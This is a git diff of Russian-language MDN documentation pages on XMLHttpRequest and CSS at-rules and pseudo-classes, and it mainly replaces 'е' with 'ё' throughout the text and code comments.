      Соответствующий объект, основанный на значении responseType. Вы можете попытаться запросить данные в определённом формате, установив значение responseType после вызова open() для инициализации запроса, но перед вызовом send() для отправки запроса на сервер.

      -

      Значение равно null, если запрос еще не завершен или был неудачным, за исключением того, что при чтении текстовых данных с использованием responseType "text" или пустой строки (""), ответ может содержать ответ до тех пор, пока запрос все еще находится в состоянии LOADING readyState (3).

      +

      Значение равно null, если запрос ещё не завершён или был неудачным, за исключением того, что при чтении текстовых данных с использованием responseType "text" или пустой строки (""), ответ может содержать ответ до тех пор, пока запрос все ещё находится в состоянии LOADING readyState (3).

      Типы ответов описаны ниже.

      @@ -58,7 +58,7 @@ translation_of: Web/API/XMLHttpRequest/response
      - + @@ -78,7 +78,7 @@ translation_of: Web/API/XMLHttpRequest/response - +
      AbortErrorЗапрос был отменен (используя {{domxref("AbortController.abort()")}}).Запрос был отменён (используя {{domxref("AbortController.abort()")}}).
      TypeError Function? -

      Callback - функция, которая вызывается всякий раз, когда поле readyState меняет свое значение. Callback выполняется в потоке работы приложения.

      +

      Callback - функция, которая вызывается всякий раз, когда поле readyState меняет своё значение. Callback выполняется в потоке работы приложения.

      Внимание: Он не должен использоваться в синхронных запросах, и не должен выполняться из нативного кода (? must not be used from native code).
      0 UNSENTКлиент создан. Метод open() еще не вызван.Клиент создан. Метод open() ещё не вызван.
      1response varies -

      Тело сущности запроса. Согласно полю responseType, может быть ArrayBuffer, Blob, {{ domxref("Document") }}, JavaScript объектом (для "json"), или строкой. Равно null если запрос не завершен или окончен с ошибкой.

      +

      Тело сущности запроса. Согласно полю responseType, может быть ArrayBuffer, Blob, {{ domxref("Document") }}, JavaScript объектом (для "json"), или строкой. Равно null если запрос не завершён или окончен с ошибкой.

      responseText {{ReadOnlyInline()}} DOMStringОтвет на запрос в виде строки или null в случае если запрос не успешен или ответ еще не получен.Ответ на запрос в виде строки или null в случае если запрос не успешен или ответ ещё не получен.
      responseType
      "json"JavaScript объект, полученный путем парсинга JSON строки, полученной с сервера.JavaScript объект, полученный путём парсинга JSON строки, полученной с сервера.
      "text"timeout unsigned long -

      Время в миллисекундах, после которого запрос будет отменен. Значение 0 (по умолчанию) значит что таймаута не будет. Никогда.

      +

      Время в миллисекундах, после которого запрос будет отменён. Значение 0 (по умолчанию) значит что таймаута не будет. Никогда.

      Примечание: Вы можете не использовать поле timeout для синхронных запросов из owning window.
      "json"response является JavaScript object, созданный путем анализа содержимого полученных данных как JSON.response является JavaScript object, созданный путём анализа содержимого полученных данных как JSON.
      "text"
      "ms-stream" response является частью потоковой загрузки; этот тип ответа разрешен только для запросов на загрузку и поддерживается только Internet Explorer.response является частью потоковой загрузки; этот тип ответа разрешён только для запросов на загрузку и поддерживается только Internet Explorer.
      @@ -89,7 +89,7 @@ translation_of: Web/API/XMLHttpRequest/response

       

      -

      В этом примере представлена функция load(), которая загружает и обрабатывает страницу с сервера. Он работает путем создания объекта XMLHttpRequest и создания обработчика события с событием readystatechange, чтобы при изменении readyState на DONE (4) response получался и передавался в колбэк-функцию, предоставляемую load().

      +

      В этом примере представлена функция load(), которая загружает и обрабатывает страницу с сервера. Он работает путём создания объекта XMLHttpRequest и создания обработчика события с событием readystatechange, чтобы при изменении readyState на DONE (4) response получался и передавался в колбэк-функцию, предоставляемую load().

      Содержимое обрабатывается как необработанные текстовые данные (поскольку здесь ничто не переопределяет responseType по умолчанию).

      diff --git a/files/ru/web/api/xmlhttprequest/responsetext/index.html b/files/ru/web/api/xmlhttprequest/responsetext/index.html index 67421dc290..d80a4572c0 100644 --- a/files/ru/web/api/xmlhttprequest/responsetext/index.html +++ b/files/ru/web/api/xmlhttprequest/responsetext/index.html @@ -15,9 +15,9 @@ translation_of: Web/API/XMLHttpRequest/responseText

      Значение

      -

      Строка {{domxref("DOMString")}} содержащая либо текстовые данные, полученные при использовании XMLHttpRequest, либо null в случае, когда вопрос возвратил ошибку, или же еще не был  отослан на сервер вызовом функции {{domxref("XMLHttpRequest.send", "send()")}}.

      +

      Строка {{domxref("DOMString")}} содержащая либо текстовые данные, полученные при использовании XMLHttpRequest, либо null в случае, когда вопрос возвратил ошибку, или же ещё не был  отослан на сервер вызовом функции {{domxref("XMLHttpRequest.send", "send()")}}.

      -

      Во время выполнения асинхронных запросов, в значении responseText всегда находится текущее содержимое, полученное от сервера, даже если запрос еще не завершен, и данные от сервера не получены полностью.

      +

      Во время выполнения асинхронных запросов, в значении responseText всегда находится текущее содержимое, полученное от сервера, даже если запрос ещё не завершён, и данные от сервера не получены полностью.

      Понять, что ответ получен полностью, можно когда значение {{domxref("XMLHttpRequest.readyState", "readyState")}} становится {{domxref("XMLHttpRequest.DONE", "XMLHttpRequest.DONE")}} (4), а значение {{domxref("XMLHttpRequest.status", "status")}} становится 200 ("OK").

      diff --git a/files/ru/web/api/xmlhttprequest/responsetype/index.html b/files/ru/web/api/xmlhttprequest/responsetype/index.html index 91e38522bf..80d5b3bf9f 100644 --- a/files/ru/web/api/xmlhttprequest/responsetype/index.html +++ b/files/ru/web/api/xmlhttprequest/responsetype/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/XMLHttpRequest/responseType ---

      {{APIRef('XMLHttpRequest')}}

      -

      XMLHttpRequest.responseType Свойство является перечислимым значением, которое возвращает тип ответа. Он также позволяет автору изменять тип ответа. Если значение не задано, будет использовано значение по умолчанию textУстановка значения responseType в «document» игнорируется, если выполняется в  рабочей среде. При настройке responseType на определенное значение автор должен убедиться, что сервер действительно отправляет ответ, совместимый с этим форматом. Если сервер возвращает данные, которые не совместимы с установленным responseType, значение response будет nullКроме того, установка responseType для синхронных запросов вызовет исключение InvalidAccessError.

      +

      XMLHttpRequest.responseType Свойство является перечислимым значением, которое возвращает тип ответа. Он также позволяет автору изменять тип ответа. Если значение не задано, будет использовано значение по умолчанию textУстановка значения responseType в «document» игнорируется, если выполняется в  рабочей среде. При настройке responseType на определённое значение автор должен убедиться, что сервер действительно отправляет ответ, совместимый с этим форматом. Если сервер возвращает данные, которые не совместимы с установленным responseType, значение response будет nullКроме того, установка responseType для синхронных запросов вызовет исключение InvalidAccessError.

      Поддерживаемые значения responseType:

      diff --git a/files/ru/web/api/xmlhttprequest/responseurl/index.html b/files/ru/web/api/xmlhttprequest/responseurl/index.html index ed61b3451b..635d27ddc1 100644 --- a/files/ru/web/api/xmlhttprequest/responseurl/index.html +++ b/files/ru/web/api/xmlhttprequest/responseurl/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/XMLHttpRequest/responseURL ---
      {{APIRef('XMLHttpRequest')}}
      -

      Свойство XMLHttpRequest.responseURL доступно только для чтения, возвращает сериализованный URL ответа или пустую строку,  если URL равен null. Если URL возвращен, любой URL фрагмент в URL будет стерт. Значение responseURL станет окончательным URL, получаемым после любых редиректов.

      +

      Свойство XMLHttpRequest.responseURL доступно только для чтения, возвращает сериализованный URL ответа или пустую строку,  если URL равен null. Если URL возвращён, любой URL фрагмент в URL будет стёрт. Значение responseURL станет окончательным URL, получаемым после любых редиректов.

      Пример

      diff --git a/files/ru/web/api/xmlhttprequest/send/index.html b/files/ru/web/api/xmlhttprequest/send/index.html index a7c82474a7..34736d0716 100644 --- a/files/ru/web/api/xmlhttprequest/send/index.html +++ b/files/ru/web/api/xmlhttprequest/send/index.html @@ -78,7 +78,7 @@ translation_of: Web/API/XMLHttpRequest/send xhr.open('GET', '/server', true); xhr.onload = function () { - // Запрос завершен. Здесь можно обрабатывать результат. + // Запрос завершён. Здесь можно обрабатывать результат. }; xhr.send(null); @@ -94,12 +94,12 @@ xhr.send(null);
      var xhr = new XMLHttpRequest();
       xhr.open("POST", '/server', true);
       
      -//Передает правильный заголовок в запросе
      +//Передаёт правильный заголовок в запросе
       xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
       
       xhr.onreadystatechange = function() {//Вызывает функцию при смене состояния.
           if(xhr.readyState == XMLHttpRequest.DONE && xhr.status == 200) {
      -        // Запрос завершен. Здесь можно обрабатывать результат.
      +        // Запрос завершён. Здесь можно обрабатывать результат.
           }
       }
       xhr.send("foo=bar&lorem=ipsum");
      diff --git a/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html b/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html
      index 527dfe1f5a..454bc054db 100644
      --- a/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html
      +++ b/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html
      @@ -5,9 +5,9 @@ translation_of: Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data
       ---
       

      Получение бинарных данных используя JavaScript arrays 

      -

      Свойство responseType объекта XMLHttpRequest можно задать для изменения ожидаемого типа ответа с сервера. Возможные значения: пустая строка (по умолчанию), "arraybuffer", "blob", "document", "json" и "text". Свойство response будет содержать тело сущности в соответствии с типом ответа, как ArrayBuffer, Blob, Document, JSON или string. Это значение равно null, если запрос не завершен или не был успешным.

      +

      Свойство responseType объекта XMLHttpRequest можно задать для изменения ожидаемого типа ответа с сервера. Возможные значения: пустая строка (по умолчанию), "arraybuffer", "blob", "document", "json" и "text". Свойство response будет содержать тело сущности в соответствии с типом ответа, как ArrayBuffer, Blob, Document, JSON или string. Это значение равно null, если запрос не завершён или не был успешным.

      -

      В этом примере изображение считывается как двоичный файл и создается 8-разрядный массив целых чисел без знака из необработанных байтов. Обратите внимание, что это не будет декодировать изображение и читать пиксели. Для этого вам понадобится библиотека декодирования png.

      +

      В этом примере изображение считывается как двоичный файл и создаётся 8-разрядный массив целых чисел без знака из необработанных байтов. Обратите внимание, что это не будет декодировать изображение и читать пиксели. Для этого вам понадобится библиотека декодирования png.

      var oReq = new XMLHttpRequest();
       oReq.open("GET", "/myfile.png", true);
      @@ -90,9 +90,9 @@ var abyte = filestream.charCodeAt(x) & 0xff; // throw away high-order byte (
       
       

      Отправка бинарных данных

      -

      Метод send объекта XMLHttpRequest был расширен, чтобы обеспечить легкую передачу бинарных данных - теперь он принимает объекты ArrayBuffer, {{domxref("Blob")}}, или {{domxref("File")}}.

      +

      Метод send объекта XMLHttpRequest был расширен, чтобы обеспечить лёгкую передачу бинарных данных - теперь он принимает объекты ArrayBuffer, {{domxref("Blob")}}, или {{domxref("File")}}.

      -

      В примере ниже на лету создается текстовый файл и отправляется методом POST на сервер. Здесь используется обычный текст, но нетрудно представить себе пример с бинарным файлом.

      +

      В примере ниже на лету создаётся текстовый файл и отправляется методом POST на сервер. Здесь используется обычный текст, но нетрудно представить себе пример с бинарным файлом.

      var oReq = new XMLHttpRequest();
       oReq.open("POST", url, true);
      @@ -121,7 +121,7 @@ xhr.open("POST", url, false);
       xhr.send(myArray);
       
      -

      Здесь создается и отправляется 512-ти байтовый массив из 8-битных целых чисел, н, разумеется, можно использовать любые двоичные данные.

      +

      Здесь создаётся и отправляется 512-ти байтовый массив из 8-битных целых чисел, н, разумеется, можно использовать любые двоичные данные.

      Примечание: Поддержка передачи объектов ArrayBuffer с помощью XMLHttpRequest появилась в Gecko 9.0 {{geckoRelease("9.0")}}. Add information about other browsers' support here.
      @@ -144,7 +144,7 @@ req.sendAsBinary(aBody);

      В строке 5 метод sendAsBinary() начинает запрос.

      -
      Примечание: Нестандартный метод sendAsBinary начиная с Gecko 31 {{ geckoRelease(31) }} считается устаревшим и скоро будет удален. Вместо него, как показывалось выше, можно использовать стандартный метод send(Blob data).
      +
      Примечание: Нестандартный метод sendAsBinary начиная с Gecko 31 {{ geckoRelease(31) }} считается устаревшим и скоро будет удалён. Вместо него, как показывалось выше, можно использовать стандартный метод send(Blob data).

      Кроме того, чтобы отправить бинарные данные можно передать экземпляр {{interface("nsIFileInputStream")}} в метод send(). В этом случае заголовок Content-Length заполнять явно необязательно, поскольку информация получается из потока автоматически:

      diff --git a/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html index 4304530ac7..0a7d0f9cf4 100644 --- a/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html +++ b/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html @@ -226,7 +226,7 @@ The second line.

      Небольшой классический фреймворк

      -

      Все данные эффекты достигаются с помощью веб браузера, когда вы отправляете {{ HTMLElement("form") }}. Но если вам требуется выполнить все операции с помощью лишь JavaScript, то вам придется проинструктировать интерпретатор обо всех выполняемых операциях. Для, того чтобы отправлять формы с помощью чистого AJAX, потребуется слишком комплексное описание, чтобы тут рассуждать о нем во всех подробностях. В связи с этим, мы опубликовали здесь полный(но все еще дидактический) фреймворк, который все же способен использовать все четыре способа отправки и, так же поддерживает файловую загрузку.

      +

      Все данные эффекты достигаются с помощью веб браузера, когда вы отправляете {{ HTMLElement("form") }}. Но если вам требуется выполнить все операции с помощью лишь JavaScript, то вам придётся проинструктировать интерпретатор обо всех выполняемых операциях. Для, того чтобы отправлять формы с помощью чистого AJAX, потребуется слишком комплексное описание, чтобы тут рассуждать о нем во всех подробностях. В связи с этим, мы опубликовали здесь полный(но все ещё дидактический) фреймворк, который все же способен использовать все четыре способа отправки и, так же поддерживает файловую загрузку.

      <!doctype html>
      diff --git a/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html
      index 53fb283a75..bcd89a4530 100644
      --- a/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html
      +++ b/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html
      @@ -43,9 +43,9 @@ translation_of: Web/API/XMLHttpRequest/XMLHttpRequest
        
      Существует два флага, которые можно установить:
      mozAnon
      -
      Boolean: Установка этого флага в значение true приведет к тому, что браузер не будет раскрывать {{Glossary("origin")}} и учётные данные пользователя при получении ресурсов. Главным образом это означает, что файлы {{Glossary("Cookie", "cookies")}} не будут отправлены, если они не добавлены явно с использованием setRequestHeader.
      +
      Boolean: Установка этого флага в значение true приведёт к тому, что браузер не будет раскрывать {{Glossary("origin")}} и учётные данные пользователя при получении ресурсов. Главным образом это означает, что файлы {{Glossary("Cookie", "cookies")}} не будут отправлены, если они не добавлены явно с использованием setRequestHeader.
      mozSystem
      -
      Boolean: Установка этого флага в значение true позволяет устанавливать межсайтовые соединения не требуя подключения сервера с помощью {{Glossary("CORS")}}. Требует установки флага mozAnon: true, т.к. это нельзя сочетать с отправкой файлов cookie или других учетных данных пользователя. Это работает только в привилегированных (проверенных) приложениях ({{Bug ("692677")}}));  не работает на произвольных веб-страницах, загруженных в Firefox.
      +
      Boolean: Установка этого флага в значение true позволяет устанавливать межсайтовые соединения не требуя подключения сервера с помощью {{Glossary("CORS")}}. Требует установки флага mozAnon: true, т.к. это нельзя сочетать с отправкой файлов cookie или других учётных данных пользователя. Это работает только в привилегированных (проверенных) приложениях ({{Bug ("692677")}}));  не работает на произвольных веб-страницах, загруженных в Firefox.
      diff --git a/files/ru/web/api/xmlserializer/index.html b/files/ru/web/api/xmlserializer/index.html index 7df04c7f6d..9e8823e80c 100644 --- a/files/ru/web/api/xmlserializer/index.html +++ b/files/ru/web/api/xmlserializer/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/XMLSerializer
      XMLSerializer.serializeToString()
      Возвращает сериализованное дерево или ветку в виде строки
      XMLSerializer.serializeToStream() {{ non-standard_inline() }}{{ deprecated_inline() }}
      -
      Поддерево, обернутое в указанный элемент, сериализуется в поток байтов с использованием указанной кодировки.
      +
      Поддерево, обёрнутое в указанный элемент, сериализуется в поток байтов с использованием указанной кодировки.

      Примеры

      diff --git a/files/ru/web/css/@counter-style/additive-symbols/index.html b/files/ru/web/css/@counter-style/additive-symbols/index.html index c8781e4d40..4ea2a2dc87 100644 --- a/files/ru/web/css/@counter-style/additive-symbols/index.html +++ b/files/ru/web/css/@counter-style/additive-symbols/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/@counter-style/additive-symbols ---

      Описание

      -

      Дескриптор аддитивных символов аналогичен дескриптору {{cssxref('symbols')}} и позволяет пользователю указывать символы которые будут использоваться для представлений счетчика, когда значение дескриптора {{cssxref('system')}}  аддитивное. Дескриптор additive-symbols определяет так называемые аддитивные кортежи, каждый из которых представляет собой пару, содержащую символ и неотрицательный целочисленный вес. Аддитивная система используется для построения систем нумерации знаков, таких как римские цифры.

      +

      Дескриптор аддитивных символов аналогичен дескриптору {{cssxref('symbols')}} и позволяет пользователю указывать символы которые будут использоваться для представлений счётчика, когда значение дескриптора {{cssxref('system')}}  аддитивное. Дескриптор additive-symbols определяет так называемые аддитивные кортежи, каждый из которых представляет собой пару, содержащую символ и неотрицательный целочисленный вес. Аддитивная система используется для построения систем нумерации знаков, таких как римские цифры.

      Когда значение системного дескриптора является циклическим, числовым, буквенным, символическим или фиксированным, дескриптор symbols используется вместо аддитивных символов для указания символов счетчика.

      diff --git a/files/ru/web/css/@font-face/font-display/index.html b/files/ru/web/css/@font-face/font-display/index.html index 603b7a8a66..e1466f1b1a 100644 --- a/files/ru/web/css/@font-face/font-display/index.html +++ b/files/ru/web/css/@font-face/font-display/index.html @@ -7,11 +7,11 @@ translation_of: Web/CSS/@font-face/font-display

      Описание

      -

      Дескриптор font-display определяет то, как шрифт, подключенный через font face будет отображаться в зависимости от того, загрузился ли он и готов ли к использованию.

      +

      Дескриптор font-display определяет то, как шрифт, подключённый через font face будет отображаться в зависимости от того, загрузился ли он и готов ли к использованию.

      Временная шкала отображения шрифтов

      -

      Временная шкала отображения шрифтов основывается на таймере, который запускается в момент, когда пользовательский агент начинает попытки по применению загруженного шрифта.  Эта временная шкала разделена на три отрезка, приведенных ниже, которые диктуют поведение рендеринга любых элементов с использованием шрифта.

      +

      Временная шкала отображения шрифтов основывается на таймере, который запускается в момент, когда пользовательский агент начинает попытки по применению загруженного шрифта.  Эта временная шкала разделена на три отрезка, приведённых ниже, которые диктуют поведение рендеринга любых элементов с использованием шрифта.

      Период блокировки шрифта (Font block period)
      @@ -39,13 +39,13 @@ font-display: optional;
      auto
      Стратегию загрузки шрифта определяет пользовательский агент.
      block
      -
      Для шрифта задается короткий период блокировки и бесконечный период подмены.
      +
      Для шрифта задаётся короткий период блокировки и бесконечный период подмены.
      swap
      -
      Для шрифта не задается период блокировки и задается бесконечный период подмены.
      +
      Для шрифта не задаётся период блокировки и задаётся бесконечный период подмены.
      fallback
      -
      Для шрифта задается очень короткий период блокировки и короткий период подмены.
      +
      Для шрифта задаётся очень короткий период блокировки и короткий период подмены.
      optional
      -
      Для шрифта задается очень короткий период блокировки и не задается период подмены.
      +
      Для шрифта задаётся очень короткий период блокировки и не задаётся период подмены.

      Официальный синтаксис

      diff --git a/files/ru/web/css/@font-face/index.html b/files/ru/web/css/@font-face/index.html index 6382b864b4..b638ecc425 100644 --- a/files/ru/web/css/@font-face/index.html +++ b/files/ru/web/css/@font-face/index.html @@ -11,7 +11,7 @@ tags: - типографика translation_of: Web/CSS/@font-face --- -
      @font-face CSS @-правило позволяет указать шрифты для отображения текста на веб-страницах, которые могут быть загружены либо с удаленного сервера, либо с компьютера пользователя. Если в правиле была объявлена функция local(), с названием шрифта, то будет производиться поиск на компьютере пользователя, и в случае обнаружения будет использован этот шрифт. Иначе будет скачан и использован шрифт, указанный в функции url().
      +
      @font-face CSS @-правило позволяет указать шрифты для отображения текста на веб-страницах, которые могут быть загружены либо с удалённого сервера, либо с компьютера пользователя. Если в правиле была объявлена функция local(), с названием шрифта, то будет производиться поиск на компьютере пользователя, и в случае обнаружения будет использован этот шрифт. Иначе будет скачан и использован шрифт, указанный в функции url().
       
      @@ -19,7 +19,7 @@ translation_of: Web/CSS/@font-face
       
      -
      Распространенным случаем является одновременное использование url() и local(), чтобы использовать локальный шрифт, если он доступен, или иначе скачать копию шрифта.
      +
      Распространённым случаем является одновременное использование url() и local(), чтобы использовать локальный шрифт, если он доступен, или иначе скачать копию шрифта.
       
      @@ -56,7 +56,7 @@ translation_of: Web/CSS/@font-face
      {{cssxref("@font-face/font-variation-settings", "font-variation-settings")}}
      Позволяет осуществлять низкоуровневый контроль над вариациями OpenType и TrueType шрифтов, указывая четырёхбуквенные названия осей для изменения вместе с их значениями.
      {{cssxref("@font-face/src", "src")}}
      -
      Задает ресурс, содержащий данные шрифта. Это может быть URL-адрес расположения удаленного файла шрифта или имя шрифта на компьютере пользователя.
      +
      Задаёт ресурс, содержащий данные шрифта. Это может быть URL-адрес расположения удалённого файла шрифта или имя шрифта на компьютере пользователя.

      Чтобы дать браузеру возможность выбрать наиболее подходящий формат шрифта, его можно указать при объявлении внутри функции format():

      diff --git a/files/ru/web/css/@font-feature-values/index.html b/files/ru/web/css/@font-feature-values/index.html index d04e91a2d0..7a122d3ad6 100644 --- a/files/ru/web/css/@font-feature-values/index.html +++ b/files/ru/web/css/@font-feature-values/index.html @@ -29,7 +29,7 @@ translation_of: Web/CSS/@font-feature-values }
      -

      Правило @font-feature-values может использоваться как на вернем уровне вашего CSS так и внутри любого условного CSS правила.

      +

      Правило @font-feature-values может использоваться как на вернём уровне вашего CSS так и внутри любого условного CSS правила.

      Синтаксис

      @@ -84,5 +84,5 @@ translation_of: Web/CSS/@font-feature-values

      Смотрите также

        -
      • Свойство {{cssxref("font-variant-alternates")}} которое использует значения, определенные этим правилом.
      • +
      • Свойство {{cssxref("font-variant-alternates")}} которое использует значения, определённые этим правилом.
      diff --git a/files/ru/web/css/@media/inverted-colors/index.html b/files/ru/web/css/@media/inverted-colors/index.html index f56c90108b..123d6d7eeb 100644 --- a/files/ru/web/css/@media/inverted-colors/index.html +++ b/files/ru/web/css/@media/inverted-colors/index.html @@ -30,7 +30,7 @@ translation_of: Web/CSS/@media/inverted-colors

      HTML

      -
      <p>Если вы используете инвертированные цвета, этот текст должен быть синим по белому (инверсия желтого по черному). Если нет, он должен быть красным на светло-сером.</p>
      +
      <p>Если вы используете инвертированные цвета, этот текст должен быть синим по белому (инверсия жёлтого по чёрному). Если нет, он должен быть красным на светло-сером.</p>
       <p>Если текст серого цвета, ваш браузер не поддерживает медиа-функцию `inverted-colors`.</p>

      CSS

      diff --git a/files/ru/web/css/@media/orientation/index.html b/files/ru/web/css/@media/orientation/index.html index 723c964b8f..055dffc88d 100644 --- a/files/ru/web/css/@media/orientation/index.html +++ b/files/ru/web/css/@media/orientation/index.html @@ -8,7 +8,7 @@ translation_of: Web/CSS/@media/orientation

      CSS медиа-функции orientation может использоваться для проверки ориентации области {{glossary("просмотра")}} (или поля страницы для медийных страниц).

      -

      Примечание: Эта функция не соответствует ориентации устройства. Открытие программной клавиатуры на многих устройствах в книжной ориентации приведет к тому, что область просмотра станет шире, чем высокая, в результате чего браузер будет использовать альбомные стили вместо портретного.

      +

      Примечание: Эта функция не соответствует ориентации устройства. Открытие программной клавиатуры на многих устройствах в книжной ориентации приведёт к тому, что область просмотра станет шире, чем высокая, в результате чего браузер будет использовать альбомные стили вместо портретного.

      Синтаксис

      diff --git a/files/ru/web/css/@page/index.html b/files/ru/web/css/@page/index.html index d61e6d2ca3..04daa7d53e 100644 --- a/files/ru/web/css/@page/index.html +++ b/files/ru/web/css/@page/index.html @@ -2,7 +2,7 @@ title: '@page' slug: Web/CSS/@page tags: - - Верстка + - Вёрстка - печать - страница translation_of: Web/CSS/@page @@ -99,5 +99,5 @@ translation_of: Web/CSS/@page

      Смотрите также

        -
      • Смотрите тикет [META] CSS Paged Media Module Level 3 в Bugzilla для отслеживания прогресса по теме (базовый страничный счетчик, и т.д.)
      • +
      • Смотрите тикет [META] CSS Paged Media Module Level 3 в Bugzilla для отслеживания прогресса по теме (базовый страничный счётчик, и т.д.)
      diff --git a/files/ru/web/css/@viewport/index.html b/files/ru/web/css/@viewport/index.html index 56ee461658..cbbaf38b69 100644 --- a/files/ru/web/css/@viewport/index.html +++ b/files/ru/web/css/@viewport/index.html @@ -16,7 +16,7 @@ translation_of: Web/CSS/@viewport

      Кратко

      -

      @viewport CSS at-rule содержит набор вложенных дескрипторов в блоке CSS, который разделен фигурными скобками. Эти дескрипторы управляют настройками видового экрана, в первую очередь на мобильных устройствах.

      +

      @viewport CSS at-rule содержит набор вложенных дескрипторов в блоке CSS, который разделён фигурными скобками. Эти дескрипторы управляют настройками видового экрана, в первую очередь на мобильных устройствах.

      Синтаксис

      @@ -32,13 +32,13 @@ translation_of: Web/CSS/@viewport
      max-width
      Используется при определении ширины видового экрана при первом отображении документа.
      width
      -
      Сокращенный дескриптор для установки как минимальной ширины(min-width), так и максимальной ширины(max-width).
      +
      Сокращённый дескриптор для установки как минимальной ширины(min-width), так и максимальной ширины(max-width).
      min-height
      Используется при определении высоты видового экрана при первом отображении документа.
      max-height
      Используется при определении высоты видового экрана при первом отображении документа.
      height
      -
      Сокращенный дескриптор для установки как минимальной высоты(min-height), так и максимальной высоты(max-height).
      +
      Сокращённый дескриптор для установки как минимальной высоты(min-height), так и максимальной высоты(max-height).
      zoom
      Устанавливает начальный коэффициент масштабирования.
      min-zoom
      diff --git a/files/ru/web/css/_colon_-moz-focusring/index.html b/files/ru/web/css/_colon_-moz-focusring/index.html index 872ef81e58..c194469e7a 100644 --- a/files/ru/web/css/_colon_-moz-focusring/index.html +++ b/files/ru/web/css/_colon_-moz-focusring/index.html @@ -33,7 +33,7 @@ translation_of: 'Web/CSS/:-moz-focusring'

      Спецификации

      -

      Этот псевдокласс пока еще не определен ни в одной спецификации, хотя и прошел этап обсуждения в рабочей группе. По его итогам было решено внести его в группу селекторов 4 или 5.

      +

      Этот псевдокласс пока ещё не определён ни в одной спецификации, хотя и прошёл этап обсуждения в рабочей группе. По его итогам было решено внести его в группу селекторов 4 или 5.

      Совместимость с браузерами

      diff --git a/files/ru/web/css/_colon_-moz-only-whitespace/index.html b/files/ru/web/css/_colon_-moz-only-whitespace/index.html index 48c095accb..83a7a93462 100644 --- a/files/ru/web/css/_colon_-moz-only-whitespace/index.html +++ b/files/ru/web/css/_colon_-moz-only-whitespace/index.html @@ -72,7 +72,7 @@ div { {{SpecName("CSS4 Selectors", "#blank-pseudo", ":blank")}} {{Spec2("CSS4 Selectors")}} - Определен впервые + Определён впервые diff --git a/files/ru/web/css/_colon_any-link/index.html b/files/ru/web/css/_colon_any-link/index.html index 95ede05087..839d8323c6 100644 --- a/files/ru/web/css/_colon_any-link/index.html +++ b/files/ru/web/css/_colon_any-link/index.html @@ -5,7 +5,7 @@ tags: - ':any-link' - CSS - Web - - Верстка + - Вёрстка - Гиперссылки - Справка - Ссылки diff --git a/files/ru/web/css/_colon_default/index.html b/files/ru/web/css/_colon_default/index.html index 45ac8c1819..e13201061e 100644 --- a/files/ru/web/css/_colon_default/index.html +++ b/files/ru/web/css/_colon_default/index.html @@ -14,7 +14,7 @@ input:default { background-color: lime; }
      -

      Сгруппированные элементы, поддерживающие множественный выбор, также могут иметь несколько элементов, выбранных по умолчанию. В этом случае псевдокласс :default найдет все эти элементы. Например, можно стилизовать чекбоксы по умолчанию в группе чекбоксов.

      +

      Сгруппированные элементы, поддерживающие множественный выбор, также могут иметь несколько элементов, выбранных по умолчанию. В этом случае псевдокласс :default найдёт все эти элементы. Например, можно стилизовать чекбоксы по умолчанию в группе чекбоксов.

      Синтаксис

      diff --git a/files/ru/web/css/_colon_dir/index.html b/files/ru/web/css/_colon_dir/index.html index 09422f6f13..4cf0bccb4b 100644 --- a/files/ru/web/css/_colon_dir/index.html +++ b/files/ru/web/css/_colon_dir/index.html @@ -19,7 +19,7 @@ translation_of: 'Web/CSS/:dir'
      -

      Примечание: В HTML, направление задается атрибутом {{htmlattrxref("dir")}}. В других форматах могут использоваться иные методы.

      +

      Примечание: В HTML, направление задаётся атрибутом {{htmlattrxref("dir")}}. В других форматах могут использоваться иные методы.

      Синтаксис

      diff --git a/files/ru/web/css/_colon_disabled/index.html b/files/ru/web/css/_colon_disabled/index.html index 86a34bd10a..0c5812445b 100644 --- a/files/ru/web/css/_colon_disabled/index.html +++ b/files/ru/web/css/_colon_disabled/index.html @@ -9,7 +9,7 @@ translation_of: 'Web/CSS/:disabled'

      Описание

      -

      CSS псевдокласс :disabled находит любой отключенный элемент. Элемент отключен, если не может быть активирован (например, его нельзя выбрать, нажать на него или ввести текст) или получить фокус. У элемента также есть включенное состояние, когда его можно активировать или сфокусировать.

      +

      CSS псевдокласс :disabled находит любой отключённый элемент. Элемент отключён, если не может быть активирован (например, его нельзя выбрать, нажать на него или ввести текст) или получить фокус. У элемента также есть включённое состояние, когда его можно активировать или сфокусировать.

      Примеры

      @@ -17,9 +17,9 @@ translation_of: 'Web/CSS/:disabled'
      input:disabled
      -
      Выберет все отключенные поля ввода
      +
      Выберет все отключённые поля ввода
      select.country:disabled
      -
      Найдёт все отключенные select элементы с классом country
      +
      Найдёт все отключённые select элементы с классом country

      Пример использования

      diff --git a/files/ru/web/css/_colon_enabled/index.html b/files/ru/web/css/_colon_enabled/index.html index 7e83a52a5d..99e4402da0 100644 --- a/files/ru/web/css/_colon_enabled/index.html +++ b/files/ru/web/css/_colon_enabled/index.html @@ -7,7 +7,7 @@ translation_of: 'Web/CSS/:enabled'

      Описание

      -

      CSS псевдокласс :enabled находит любой включенный элемент. Элемент включен, если его можно активировать (например, выбрать, нажать на него или ввести текст) или поставить фокус. У элемента также есть отключенное состояние, когда его нельзя активировать или сфокусировать.

      +

      CSS псевдокласс :enabled находит любой включённый элемент. Элемент включён, если его можно активировать (например, выбрать, нажать на него или ввести текст) или поставить фокус. У элемента также есть отключённое состояние, когда его нельзя активировать или сфокусировать.

      Пример

